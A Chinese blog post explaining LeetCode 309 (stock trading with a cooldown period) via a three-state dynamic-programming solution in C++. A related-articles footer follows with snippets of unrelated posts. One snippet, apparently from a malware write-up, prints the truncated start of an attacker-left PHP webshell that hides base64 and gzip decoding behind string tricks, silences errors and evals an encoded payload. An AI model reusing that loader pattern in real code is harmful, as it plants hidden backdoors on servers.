动态规划——买卖股票的最佳时机含冷冻期

1、题目链接

leetcode 309. 买卖股票的最佳时机含冷冻期

 2、题目分析

该题有我们可以定义三种状态,买入状态,可交易状态 ,冷冻期状态

我们可以建立一个n*3的二维数组来表示这三种状态:

根据这个图可以看出,

可以从买入状态卖出变成可交易状态,或者从买入状态还是到买入状态(什么也不干),

可以从可交易状态到买入状态,或者从可交易状态到可交易状态(什么也不干)

可以从冷冻期状态到可交易状态(只有这一种情况)

根据以上信息,可以列出状态转移方程:

dp[i][0]表示在第i天,处于买入状态时所获得的最大利润

dp[i][1]表示在第i天,处于可交易状态时所获得的最大利润

dp[i][2]表示在第i天,处于冷冻期状态时所获得的最大利润

那么:

dp[i][0]=max(dp[i-1][0],dp[i-1][1]-prices[i]);

dp[i][1]=max(dp[i-1][1],dp[i-1][2]);

dp[i][2]=dp[i-1][0]+prices[i];

 3、代码解析

int maxProfit(vector<int>& prices) {int n=prices.size();vector<vector<int>>dp(n,vector<int>(3));//dp[i][0]表示在第i天,处于买入状态时所获得的最大利润//dp[i][1]表示在第i天,处于可交易状态时所获得的最大利润//dp[i][2]表示在第i天,处于冷冻期状态时所获得的最大利润//初始化dp[0][0]=-prices[0];dp[0][1]=0;dp[0][2]=0;for(int i=1;i<n;i++){dp[i][0]=max(dp[i-1][0],dp[i-1][1]-prices[i]);dp[i][1]=max(dp[i-1][1],dp[i-1][2]);dp[i][2]=dp[i-1][0]+prices[i];}return max(dp[n-1][1],dp[n-1][2]);}

完结!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/857889.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux换源

文章目录 前言具体步骤国内源推荐 前言 在 Linux 发行版中更换软件源&#xff08;repository&#xff09;是一个常见的操作&#xff0c;用于加速软件的下载和更新。以下是更换软件源的详细步骤&#xff1a; 具体步骤 备份原始源列表&#xff1a; 在更改任何内容之前&#xff…

sqlalchemy给表新增注释和额外信息

sqlalchemy给表新增注释和额外信息 sqlalchemy使用__table_args__给表新增注释和额外信息,示例: class UserModel(CommonModel):__tablename__ = user # 表名称__table_args__ = {"mysql_engine": "MyISAM", # 设置数据表引擎,默认使用innodb引擎&quo…

不到3毛钱的SOT23和SOT89封装18V耐压低功耗高PSRR高精度LDO稳压芯片ME6231电流0.5A电压3.3V和1.8V

前言 SOT23-5封装ME6231外观和丝印 一款国产LDO&#xff0c;某些场合&#xff0c;要把1117扔了吧&#xff0c;SOT23封装&#xff0c;虽然不是最小&#xff0c;但也是够小的了。 参考价格&#xff1a;约0.25元 概述 ME6231 系列是以 CMOS 工艺制造的 18V 耐压、低功耗、高 PSR…

2024-06-23 操作系统实验5——模拟页式存储管理

文章目录 一、实验目的二、实验内容三、实验过程四、结果测试五、实验总结和说明 补录与分享本科实验&#xff0c;以示纪念。 一、实验目的 通过编写和调试请求页式存储管理的模拟程序以加深对请求页式存储管理方案的理解。 二、实验内容 页面淘汰算法可采用FIFO置换算法&a…

yolo评价指标

【目标检测】YOLOv5&#xff1a;添加漏检率和虚检率输出 https://www.cnblogs.com/sixuwuxian/p/18064044 【YOLOv5】推理、训练、验证参数解释_yolov5推理-CSDN博客 详解&#xff1a;yolov5中推理时置信度&#xff0c;设置的conf和iou_thres具体含义_con-thres和iou-thres分…

从理论到实践掌握UML

统一建模语言&#xff08;UML&#xff09;是软件工程师用来设计软件系统的一种工具&#xff0c;就像是一套图形化的说明书。它让开发团队能够以图形化的方式来理解、设计和开发软件系统&#xff0c;比起用文字来描述&#xff0c;更加直观易懂。本文通过UML实例化的理论和实践相…

ROS | 常见故障排查

1.开启后发出一个WIFI WIFI名字&#xff1a;WHEELTEC接数字 安全密钥&#xff1a;dongguan 2.显示屏接口 USB接口接键鼠 3.远程登录命令 ssh -Y wheeltec192.168.0.100 是小车发出的WIFI的一个IP地址 4. 登录后确保IP地址 ip a 看一下 当前ip地址 倒数第四行-当前ip地址 1…

django学习入门系列之第三点《CSS基础样式介绍3》

文章目录 浮动什么是浮动浮动的特性清除浮动 往期回顾 浮动 什么是浮动 float属性用于创建浮动框&#xff0c;将其移动到一边&#xff0c;直到左边缘或右边缘触及包含块或另一个浮动框的边缘。 浮动的特性 浮动元素会脱离标准流(脱标) 浮动的元素会一行内显示并且元素顶部对…

2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第四部分)【AI测试版】

第四部分:人类基因组的伦理、法律和社会问题(ELSI) 摘要: 本部分探讨了人类基因组计划所引发的伦理、法律和社会问题(ELSI),这些问题涉及基因信息的所有权、隐私权、基因歧视以及基因技术在社会中的运用等方面。 学习目标: 理解人类基因组计划实施过程中所引发的ELS…

探索Twig:优雅、灵活的PHP模板引擎

1. 介绍 在现代的 Web 开发中&#xff0c;模板引擎是一种常见的工具&#xff0c;用于将应用程序的逻辑和视图分离开来&#xff0c;使得开发过程更加清晰和高效。PHP Twig 是一种流行的模板引擎&#xff0c;它为 PHP 开发者提供了一个强大而灵活的工具&#xff0c;用于构建动态…

PHP木马原文

攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…

用java画一个抽奖时用的圆盘,感觉还挺好看的。

用java画一个抽奖时用的圆盘&#xff0c;感觉还挺好看的。请看封面样式&#xff0c;就是样例。不过是随机的。每一次都不一样。 import javax.swing.*; import java.awt.*; import java.awt.geom.Arc2D; import java.util.Random; public class PaintDisc extends JPanel {Ove…

2024-06-22力扣每日一题

链接&#xff1a; 2663. 字典序最小的美丽字符串 题意 略 解&#xff1a; 要求字符串内不存在任何长度为 2 或更长的回文子字符串&#xff0c;则在任意位置不存在aa或aba形式 由于要被给定字符串字典序大&#xff0c;且找到符合条件的字典序最小字符串&#xff0c;则竟可…

51单片机STC89C52RC——6.3 定时器/计数器 实现计时功能(定时器+中断系统+LCD1602液晶显示器)

目录 目的/效果 一&#xff0c;STC单片机模块 二&#xff0c;定时器 中断系统LCD1602显示 三&#xff0c;创建Keil项目 四&#xff0c;代码 五&#xff0c;代码编译、下载到51单片机 ​ 目的/效果 用定时器实现系统中断&#xff0c;计时信息显示在LCD1602上。效果如下 …

springAI(一)

目录 一、spring AI 目的 二、spring AI 来源 三、sprig AI 是什么&#xff1f; 四、spring AI中的 概念 4.1、模型&#xff08;Models&#xff09; 4.2、提示&#xff08;Prompts&#xff09; 4.3、提示模板&#xff08;Prompt Templates&#xff09; 4.4、令 牌&#…

Axios-入门

介绍 Axios对原生Ajax进行了封装&#xff0c;简化书写&#xff0c;快速开发 官网&#xff1a;Axios中文文档 | Axios中文网 (axios-http.cn) 入门 1引入Axios的js文件 <script src"js/axios.js"></script> 2使用Axios发送请求&#xff0c;并获取响应…

系统架构师考点--嵌入式技术

​大家好。今天来总结一下嵌入式技术的考点。该考点分值3-5分&#xff0c;上午场选择题和下午场案例题都可能会考&#xff0c;但不是每年都考。 一、嵌入式微处理体系结构 冯诺依曼结构&#xff1a;传统计算机采用冯诺依曼(Von Neumann)结构&#xff0c;也称普林斯顿结构是一…

动画与帧率

先看视频&#xff0c;同样的代码&#xff0c;左侧是240刷显示器&#xff0c;右侧是60刷显示器&#xff0c;但是动画中粒子的运动速度不同。 原因是机器的帧率导致了基于帧的动画显示效果不同。 动画的移动距离是相同的&#xff0c;但是在240刷的显示器上&#xff0c;每秒移动…

【代码随想录】【算法训练营】【第45天】 [198]打家劫舍 [213]打家劫舍II [337]打家劫舍III

前言 思路及算法思维&#xff0c;指路 代码随想录。 题目来自 LeetCode。 day 45&#xff0c;周五&#xff0c;坚持不了一点~ 题目详情 [198] 打家劫舍 题目描述 198 打家劫舍 解题思路 前提&#xff1a; 思路&#xff1a; 重点&#xff1a; 代码实现 C语言 虚拟头…

中国科学院西北生态环境资源研究院联合多单位在《PNAS》发文:气候变暖对多年冻土区地上与地下生物量分布的影响

文章简介 论文名称&#xff1a;Changes in above-versus belowground biomass distribution in permafrost regions in response to climate warming&#xff08;气候变暖对多年冻土区地上与地下生物量分布的影响&#xff09; 第一作者及单位&#xff1a;贠汉伯&#xff08;研…